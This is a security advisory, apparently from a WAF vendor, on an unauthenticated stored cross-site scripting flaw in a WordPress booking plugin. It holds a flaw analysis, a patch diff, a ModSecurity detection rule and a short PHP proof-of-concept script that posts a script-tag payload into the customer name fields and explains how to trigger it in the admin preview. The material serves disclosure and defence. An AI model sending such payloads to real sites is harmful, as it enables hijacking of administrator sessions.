Published : December 3, 2026

CVE-2026-136941: Appointment Booking Plugin <= 5.7.10 Unauthenticated Stored Cross-Site Scripting via Customer First/Last Name PoC, Patch Analysis & Rule

Plugin latepoint
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 5.7.10
Patched Version 5.7.11
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136941:
LatePoint Appointment Booking Plugin versions up to 5.7.10 contain an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the handling of customer first and last names submitted through the `steps__load_step` route. An attacker can inject arbitrary JavaScript that executes in the browser of an administrator who previews a seeded “New Booking Notification” workflow email. The CVSS score is 6.1 (Medium).

The root cause is twofold. First, the `steps__load_step` handler fails to sanitize the `customer[first_name]` and `customer[last_name]` parameters before saving them to the database. Second, the `OsReplacerHelper` class in `latepoint/lib/helpers/replacer_helper.php` (lines 282-293) performs replacements without escaping. The diff shows that the fix wraps each replacement with `esc_html()`, but the vulnerable version used raw values. This means malicious script tags stored in the customer name fields are output verbatim when the workflow email template is rendered.

Exploitation does not require authentication. An attacker sends a POST request to the WordPress site with the `steps__load_step` route and URL-encoded `params` containing `customer[first_name]` or `customer[last_name]` set to a JavaScript payload, such as `alert(document.cookie)`. The data is stored. When an administrator visits the Scheduled Jobs screen and opens the preview of the seeded “New Booking Notification” workflow’s Send Email action, the payload executes if the admin clicks within the message body. The seeded workflow is created automatically upon plugin activation, so no extra setup is needed.

The patch addresses the issue by escaping replacement values in `replacer_helper.php`. The `esc_html()` calls ensure that any HTML special characters in customer-supplied fields are encoded, preventing script execution. The diff also includes unrelated security hardening: `wp_safe_redirect` replaces `wp_redirect`, nonce checks are added to PayPal disconnect, Stripe payment intent metadata is validated, and a customer ID parameter is unset before creation to prevent object injection. These changes do not directly fix the XSS but improve overall security.

Successful exploitation allows an attacker to execute arbitrary JavaScript in an administrator’s session. This can lead to cookie theft, session hijacking, creation of rogue admin accounts, or redirection to malicious sites. The impact is limited by the required admin interaction (clicking the preview), but the automatic seeding of the workflow lowers the bar for attackers.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.7.10
+ * Version: 5.7.11
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.7.10';
+		public $version    = '5.7.11';
 		public $db_version = '2.3.5';

 		/**
@@ -1395,12 +1395,12 @@
 			if ( get_option( 'latepoint_redirect_to_wizard', false ) ) {
 				delete_option( 'latepoint_redirect_to_wizard' );
 				if ( ! isset( $_GET['activate-multi'] ) ) {
-					wp_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'wizard', 'setup' ) ) );
+					wp_safe_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'wizard', 'setup' ) ) );
 				}
 			} elseif ( get_option( 'latepoint_show_version_5_modal', false ) ) {
 				delete_option( 'latepoint_show_version_5_modal' );
 				if ( ! isset( $_GET['activate-multi'] ) ) {
-					wp_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'settings', 'version_5_intro' ) ) );
+					wp_safe_redirect( OsRouterHelper::build_link( OsRouterHelper::build_route_name( 'settings', 'version_5_intro' ) ) );
 				}
 			}
 		}
--- a/latepoint/lib/controllers/calendars_controller.php
+++ b/latepoint/lib/controllers/calendars_controller.php
@@ -346,7 +346,7 @@
 				if ( count( $calendar_settings['show_service_ids'] ) > 1 && $selected_service_for_availability ) {
 					$booking_request_for_shown_services             = clone $booking_request;
 					$booking_request_for_shown_services->service_id = $calendar_settings['show_service_ids'];
-					$resources_for_work_boundaries                  = OsResourceHelper::get_resources_grouped_by_day( $booking_request_for_shown_services, $calendar_start, $calendar_end );
+					$resources_for_work_boundaries                  = OsResourceHelper::get_resources_grouped_by_day( $booking_request_for_shown_services, $calendar_start, $calendar_end, [ 'accessed_from_backend' => true ] );
 					$work_boundaries                                = OsResourceHelper::get_work_boundaries_for_groups_of_resources( $resources_for_work_boundaries );
 				} else {
 					$work_boundaries = OsResourceHelper::get_work_boundaries_for_groups_of_resources( $resources );
--- a/latepoint/lib/controllers/customer_cabinet_controller.php
+++ b/latepoint/lib/controllers/customer_cabinet_controller.php
@@ -373,7 +373,7 @@
 		public function logout() {
 			OsAuthHelper::logout_customer();
 			nocache_headers();
-			wp_redirect( OsSettingsHelper::get_customer_dashboard_url(), 302 );
+			wp_safe_redirect( OsSettingsHelper::get_customer_dashboard_url(), 302 );
 		}

 		public function login() {
--- a/latepoint/lib/controllers/customers_controller.php
+++ b/latepoint/lib/controllers/customers_controller.php
@@ -193,6 +193,8 @@
 			$this->check_nonce( 'new_customer' );
 			$customer        = new OsCustomerModel();
 			$customer_params = is_array( $this->params['customer'] ) ? $this->params['customer'] : [];
+			// create() is an insert: a supplied id makes set_data() load that row and UPDATE it, skipping update()'s ownership check.
+			unset( $customer_params['id'] );
 			// Only a full admin may mass-assign the WP account link or password. Strip them for agents and
 			// custom roles: neither is a customer-form field, and the WP link is set via the dedicated connect action.
 			if ( ! OsAuthHelper::is_admin_logged_in() ) {
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -62,7 +62,7 @@
 				// step when convert_to_order succeeded, or at the payment step when it didn't (e.g. cancelled Mollie/PayPal
 				// payment). The "double payment information" issue is fixed at the cart-model layer (see
 				// OsCartModel::clear) without that fix, the resume lightbox showed every cart item twice.
-				wp_redirect( $order_intent->get_page_url_with_intent(), 302 );
+				wp_safe_redirect( $order_intent->get_page_url_with_intent(), 302 );
 				exit;
 			}
 		}
@@ -81,7 +81,7 @@

 				if ( $transaction_intent ) {
 					nocache_headers();
-					wp_redirect( $transaction_intent->get_page_url_with_intent(), 302 );
+					wp_safe_redirect( $transaction_intent->get_page_url_with_intent(), 302 );
 				}
 			}
 		}
--- a/latepoint/lib/controllers/paypal_connect_controller.php
+++ b/latepoint/lib/controllers/paypal_connect_controller.php
@@ -243,6 +243,7 @@
 		}

 		public function disconnect_connect_account() {
+			$this->check_nonce( 'paypal_disconnect_account' );
 			$env = $this->get_env_from_params();
 			try {
 				$path     = 'server-tokens/' . OsPaypalConnectHelper::get_server_token( $env ) . '/disconnect/';
--- a/latepoint/lib/helpers/paypal_connect_helper.php
+++ b/latepoint/lib/helpers/paypal_connect_helper.php
@@ -616,7 +616,7 @@
 									data-os-pass-this="yes"
 	                data-os-before-after="none"
 	                data-os-after-call="latepointPaypalConnectAdmin.reload_connect_status_wrapper"
-	                data-os-params="' . OsUtilHelper::build_os_params( [ 'env' => $env ] ) . '"
+	                data-os-params="' . esc_attr( OsUtilHelper::build_os_params( [ 'env' => $env ], 'paypal_disconnect_account' ) ) . '"
 									data-os-action="' . OsRouterHelper::build_route_name( 'paypal_connect', 'disconnect_connect_account' ) . '"
 									><i class="latepoint-icon latepoint-icon-x"></i><span>' . __( 'disconnect', 'latepoint' ) . '</span></a>';
 			if ( $payments_enabled ) {
@@ -685,6 +685,7 @@
 			'BE' => 'Belgium',
 			'BR' => 'Brazil',
 			'CA' => 'Canada',
+			'CO' => 'Colombia',
 			'CZ' => 'Czech Republic',
 			'DK' => 'Denmark',
 			'FI' => 'Finland',
--- a/latepoint/lib/helpers/replacer_helper.php
+++ b/latepoint/lib/helpers/replacer_helper.php
@@ -282,13 +282,13 @@
 			'{{customer_admin_notes}}',
 		);
 		$replacements  = array(
-			$customer->full_name,
-			$customer->first_name,
-			$customer->last_name,
-			$customer->email,
-			$customer->phone,
-			$customer->notes,
-			$customer->admin_notes,
+			esc_html( $customer->full_name ),
+			esc_html( $customer->first_name ),
+			esc_html( $customer->last_name ),
+			esc_html( $customer->email ),
+			esc_html( $customer->phone ),
+			esc_html( $customer->notes ),
+			esc_html( $customer->admin_notes ),
 		);
 		$original_text = $text;
 		$text          = str_replace( $needles, self::escape_replacements( $replacements ), $text );
--- a/latepoint/lib/helpers/stripe_connect_helper.php
+++ b/latepoint/lib/helpers/stripe_connect_helper.php
@@ -96,6 +96,13 @@
 								$transaction_intent->add_error( 'payment_error', $result['message'] );
 								break;
 							}
+							if ( ! self::validate_payment_intent_metadata( $payment_intent_data, 'transaction_intent_key', $transaction_intent->intent_key ) ) {
+								$result['status']  = LATEPOINT_STATUS_ERROR;
+								$result['message'] = __( 'Payment verification failed', 'latepoint' );
+								OsDebugHelper::log( 'Stripe PI transaction_intent_key mismatch for transaction intent ' . $transaction_intent->id, 'stripe_connect_error' );
+								$transaction_intent->add_error( 'payment_error', $result['message'] );
+								break;
+							}
 							// success
 							$result['status']    = LATEPOINT_STATUS_SUCCESS;
 							$result['processor'] = self::$processor_code;
@@ -138,6 +145,14 @@
 								$order_intent->add_error( 'send_to_step', $result['message'], 'payment' );
 								break;
 							}
+							if ( ! self::validate_payment_intent_metadata( $payment_intent_data, 'order_intent_key', $order_intent->intent_key ) ) {
+								$result['status']  = LATEPOINT_STATUS_ERROR;
+								$result['message'] = __( 'Payment verification failed', 'latepoint' );
+								OsDebugHelper::log( 'Stripe PI order_intent_key mismatch for order intent ' . $order_intent->id, 'stripe_connect_error' );
+								$order_intent->add_error( 'payment_error', $result['message'] );
+								$order_intent->add_error( 'send_to_step', $result['message'], 'payment' );
+								break;
+							}
 							// success
 							$result['status']    = LATEPOINT_STATUS_SUCCESS;
 							$result['processor'] = self::$processor_code;
@@ -467,9 +482,10 @@
 	public static function retrieve_payment_intent( string $payment_intent_id ): array {
 		$payment_request_data = self::do_account_request( 'payment-intents/' . $payment_intent_id, OsSettingsHelper::get_payments_environment() );
 		$result               = [
-			'id'     => $payment_request_data['data']['id'],
-			'status' => $payment_request_data['data']['status'],
-			'total'  => $payment_request_data['data']['total'],
+			'id'       => $payment_request_data['data']['id'],
+			'status'   => $payment_request_data['data']['status'],
+			'total'    => $payment_request_data['data']['total'],
+			'metadata' => ( isset( $payment_request_data['data']['metadata'] ) && is_array( $payment_request_data['data']['metadata'] ) ) ? $payment_request_data['data']['metadata'] : [],
 		];
 		return $result;
 	}
@@ -480,6 +496,20 @@
 		return abs( $expected_in_specs - $actual_from_stripe ) <= 1;
 	}

+	// Bind the PaymentIntent to THIS intent. The intent key is stamped into the PaymentIntent metadata
+	// ('order_intent_key' / 'transaction_intent_key') server-side when we create the intent and Stripe echoes
+	// it back on retrieval. An attacker cannot alter a succeeded PaymentIntent's metadata, so a reused/replayed
+	// token resolves to its originating intent and fails this check for any other intent. Fails closed when the
+	// expected key or the metadata value is absent. Mirrors Razorpay's validate_payment_intent_notes().
+	public static function validate_payment_intent_metadata( array $payment_intent_data, string $metadata_key, string $expected_intent_key ): bool {
+		if ( empty( $expected_intent_key ) ) {
+			return false;
+		}
+		$metadata          = ( isset( $payment_intent_data['metadata'] ) && is_array( $payment_intent_data['metadata'] ) ) ? $payment_intent_data['metadata'] : [];
+		$actual_intent_key = isset( $metadata[ $metadata_key ] ) ? (string) $metadata[ $metadata_key ] : '';
+		return ! empty( $actual_intent_key ) && hash_equals( $expected_intent_key, $actual_intent_key );
+	}
+
 	private static function get_properties_allowed_to_update( $roles = 'admin' ) {
 		return array( 'source', 'email', 'name' );
 	}
--- a/latepoint/lib/views/settings/import_modal.php
+++ b/latepoint/lib/views/settings/import_modal.php
@@ -14,7 +14,7 @@
 	<h2><?php esc_html_e('Import LatePoint Data', 'latepoint'); ?></h2>
 </div>
 <div class="latepoint-lightbox-content">
-	<?php echo OsFormHelper::file_upload_field('latepoint_json_data', __('Select JSON file to upload', 'latepoint')); ?>
+	<?php echo OsFormHelper::file_upload_field('latepoint_json_data', __('Select JSON file to upload', 'latepoint'), '', [], [], '.json'); ?>
 	<?php echo OsFormHelper::checkbox_field('latepoint_data_erase_acknowledgement', __('I understand that this import will replace all of my existing LatePoint data.', 'latepoint'), 'on'); ?>
 </div>
 <div class="latepoint-lightbox-footer">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136941
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026136941,phase:2,deny,status:403,chain,msg:'CVE-2026-136941 via LatePoint steps__load_step XSS',severity:'CRITICAL',tag:'CVE-2026-136941'"
  SecRule ARGS_POST:action "@streq latepoint_route_call" "chain"
    SecRule ARGS_POST:route "@streq steps__load_step" "chain"
      SecRule ARGS_POST:params "@rx customer([|%5B)(first_name|last_name)(]|%5D)=.*(<script|%3Cscript|onerror|onload)" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136941 - Appointment Booking Plugin <= 5.7.10 - Unauthenticated Stored Cross-Site Scripting via Customer First/Last Name

$target_url = 'http://example.com'; // Change to your WordPress site URL

// The payload will be stored in the customer's first name. It executes when an admin previews the email.
$payload = '<script>alert("XSS");</script>';

// Build the params array as expected by the plugin. The route is steps__load_step, and params is URL-encoded.
$params = [
    'customer' => [
        'first_name' => $payload,
        'last_name'  => 'Doe',
    ],
    'route' => 'steps__load_step',
];

$data = [
    'action' => 'latepoint_route_call', // Typical AJAX action for LatePoint
    'route'   => 'steps__load_step',
    'params'  => urlencode(http_build_query($params)),
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// To verify: log into WordPress as admin, go to LatePoint > Scheduled Jobs, open the "New Booking Notification" workflow's Send Email action, and click inside the preview. The script should execute.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.